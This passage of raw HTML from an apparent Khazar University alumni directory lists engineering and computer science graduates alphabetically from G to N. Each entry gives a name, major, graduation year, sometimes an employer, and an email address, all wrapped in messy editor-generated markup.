noshade=\"noshade\" style=\"width:100%;height:1px\"><br><h3 id=\"G\" style=\"font-weight:bold\"><strong>G</strong></h3><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"font-weight: bold; background-image: url(\"><strong>Günel Rəsulova</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Mühəndislik və Tətbiqi Elmlər fakültəsi</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Kompüter Elmləri</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Xəzər Universiteti,&nbsp;Məlumatların\r\nanalizi üzrə mütəxəssis -&nbsp;2014</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Xəzər Universiteti, Internet Təhsil Mərkəzi (2015-2016)</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"http://mailto:gunelrasulova@gmail.com/\">gunelrasulova@gmail.com&nbsp;</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr  &nbsp;2009-2013</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Günel Səbzəliyeva</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kompüter Elmləri</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:gunel.sebzeliyeva@gmail.com\">gunel.sebzeliyeva@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Günel Musayeva</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Elektronika, telekommunikasiya və radiotexnika mühəndisliyi</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr, Fəxri 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"font-weight: bold; background-image: url(\"><strong></strong></p><h3 id=\"J\" style=\"font-weight:bold\"><strong>J</strong></h3><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Jeffy&nbsp;George&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  <br></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Neft mühəndisliyi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">ABS Group&nbsp;/ Qatar&nbsp;&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:jeffy143@gmail.com\">jeffy143@gmail.com</a>&nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2011&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><strong><br></strong></div><div><strong>İ</strong><h3 id=\"H\"><p style=\"font-size:medium\">İlkin Əlizadə</p>\r\n<p style=\"font-size: medium;\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><span style=\"font-weight:normal\">Mühəndislik və Tətbiqi Elmlər Fakültəsi </span></p>\r\n<p style=\"font-size:medium\"><span style=\"font-weight:normal\">Kompüter Elmləri,\r\n2017</span></p>\r\n<p style=\"font-size:medium\"><span style=\"font-weight:normal\">E-mail:\r\n<a href=\"mailto:ializada@khazar.org\">ializadaa[at]khazar.org</a></span></p>\r\n<p style=\"font-size:medium\"><span style=\"font-weight:normal\">Xəzər\r\nUniversiteti, IT administrator köməkçisi</span></p>  <hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br></h3><h3 id=\"H\" style=\"font-weight:bold\"><strong>H</strong></h3><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong></strong></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><strong><br></strong><br><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Həmidə Əliəkbərova</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Elektronika və Avtomatika</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:Hemide_eliekberova@mail.ru\">Hemide_eliekberova@mail.ru</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Magistr&nbsp; &nbsp;Fəxri ,2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><h3 id=\"K\" style=\"font-weight:bold\"><strong>K</strong></h3><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Kənan Kərimov</strong>  <br></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Mühəndislik və Tətbiqi Elmlər Fakültəsi </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Neft-Qaz mühəndisliyi , 2017</p>  <p><strong></strong></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong>Kamzah Memen\r\nObaid Salihi</strong></p><p>Mühəndislik və Tətbiqi Elmlər Fakültəsi </p>\r\n<p>Kompüter Mühəndisliyi,\r\n2017</p>\r\n<p>E-mail:\r\n<a href=\"http://memensalihi[at]gmail.com\">memensalihi[at]gmail.com</a></p>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><br></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Kənan Xasməmmədov</strong>&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi&nbsp;&nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Neft və Qaz mühəndisliyi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Halliburton&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Neft mühəndisi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:kanan.khasmammadov@gmail.com\">kanan.khasmammadov@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr&nbsp;&nbsp;2009-2013&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"font-weight:bold\"><strong>Kamran Ramizov</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  </p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:kamramizov@gmail.com\">kamramizov@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Kamran Sultanov</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İnşaat mühəndislyi</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:Kamranllyo@mail.ru\">Kamranllyo@mail.ru</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Kənan Hüseynli</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Neft və Qaz mühəndisliyi</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:&nbsp;<a href=\"mailto:aw79882@gmail.com\">aw79882@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><strong>L</strong><br><h3 id=\"M\"><a href=\"mailto:leismayil@gmail.com\" style=\"font-weight:bold\"></a><p style=\"font-size:medium\">Leyla İsmayılova\r\n</p>\r\n<p style=\"font-size: medium;\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><span style=\"font-weight:normal\">Mühəndislik və Tətbiqi Elmlər Fakültəsi </span></p>\r\n<p style=\"font-size:medium\"><span style=\"font-weight:normal\">Elektronika,\r\ntelekommunikasiya və radiotexnika mühəndisliyi, 2017</span></p>\r\n<p style=\"font-size:medium\"><span style=\"font-weight:normal\">E-mail:&nbsp; </span><a href=\"mailto:leismayil@gmail.com\"><span style=\"font-weight:normal\">leismayil@gmail.com</span></a></p>   <br></h3><h3 id=\"M\" style=\"font-weight:bold\"><strong>M</strong></h3><p><strong>Məhəmməd Xəlilov</strong>  <br></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Mühəndislik və Tətbiqi Elmlər Fakültəsi </p>\r\n<p>Kompüter Elmləri,\r\n2017</p>\r\n<p>E-mail:\r\n<a href=\"mailto:khalilovmaga05@gmail.com\">khalilovmaga05@gmail.com</a> </p>\r\n<p>Harmonygroup\r\nFreelance veb programçı</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong><span style=\"font-size:medium\">Mahir Əskərov</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Mühəndislik və Tətbiqi Elmlər Fakültəsi </p>\r\n<p>Kompüter Elmləri,\r\n2017</p>\r\n<p>E-mail:\r\n<a href=\"mailto:mahir.asgarov@outlook.com\">mahir.asgarov[at]outlook.com</a></p>\r\n<p>Museum inn\r\nboutique otel, Resepşn</p>  <p><strong></strong></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong>Mehman Bağışzadə</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Mühəndislik və Tətbiqi Elmlər Fakültəsi </p>\r\n<p>Kompüter Mühəndisliyi,\r\n2017</p>\r\n<p>E-mail:\r\n<a href=\"mailto:Bagiszadem@gmail.com\">Bagiszadem[at]gmail.com</a></p>\r\n<p>Kapital\r\nBank, Əməliyyat bölməsində mütəxəssis</p>  <hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong>Murad Seyidov&nbsp;</strong></p><p>Mühəndislik və Tətbiqi Elmlər fakültəsi&nbsp;&nbsp;</p><p><span style=\"color:#252525;font-family:Arial, sans-serif;background-color:#fffffff\">Kompüter mühəndisliyi</span></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Texnologiya üzrə baş məsləhətçi - Seabak LLC (IT Management Service\r\nProvider)</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">ICT Komitə sədri @ Amerika Ticarət Palatasının Azərbaycandakı Nümayəndəliyi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:muradts@yahoo.com\">muradts@yahoo.com</a>&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Magistr&nbsp;2001-2004</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Məhəmməd Məmmədov</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Neft və Qaz mühəndisliyi</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Magistr / Heriot Watt University</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:&nbsp;<a href=\"mailto:mammadov.mahammad@yahoo.com\">mammadov.mahammad@yahoo.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Müzəffər Nəcəf-Quliyev</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  </p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Silk Way Avia Şirkəti/İT departamenti</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:najafquliyev@gmail.com\">najafquliyev@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2015</p><p>Magistr: Milli Aviasiya Akademiyası Kompüter Mühəndisliyi</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Məsail Quliyev</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Neft-Qaz &nbsp;mühəndisliyi</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Halliburton, Mud Enginneer</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:masailguliyev@hotmail.com\">masailguliyev@hotmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr, Fəxri 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Müşviq Misirxanov</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İnşaat mühəndisliyi</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:Musu_91@mail.ru\">Musu_91@mail.ru</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><h3 id=\"N\" style=\"font-weight:bold\">N</h3><p><strong>Natavan Əliyeva</strong>  <br></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Mühəndislik və Tətbiqi Elmlər Fakültəsi </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Neft-Qaz mühəndisliyi, 2017</p>\r\n<p>E-mail:\r\n<a href=\"mailto:aliyeva.natavan91@gmail.com\">aliyeva.natavan91[at]gmail.com</a></p>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong></strong></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Nəriman Mustafayev</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  </p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:narimanmustafayev@gmail.com\">narimanmustafayev@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Nicat Şərbətov</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  </p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hərbi xidmətdə</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:Nicat.s@mail.ru\">Nicat.s@mail.ru</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Nicat Əlizadə</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kompüter Elmləri</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hərbi xidmətdə  </p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:Nicat_10_Arda@mail.ru\">Nicat_10_Arda@mail.ru</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Namiq Təhməzli</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kompüter mühəndisliyi</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Vizyon Elektronik Ltd Şti Android Programist</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:namiqtehmezli@gmail.com\">namiqtehmezli@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Nurlan Qənbərzadə</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kompüter Elmləri</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:&nbsp;<a href=\"mailto:nurlan611@gmail.com\">nurlan611@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Nüsrət Məmmədxanlı</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kompüter mühəndisliyi</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:nmemmedxanli@gmail.com\">nmemmedxanli@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" \");\"=\"\" ..=\"\" 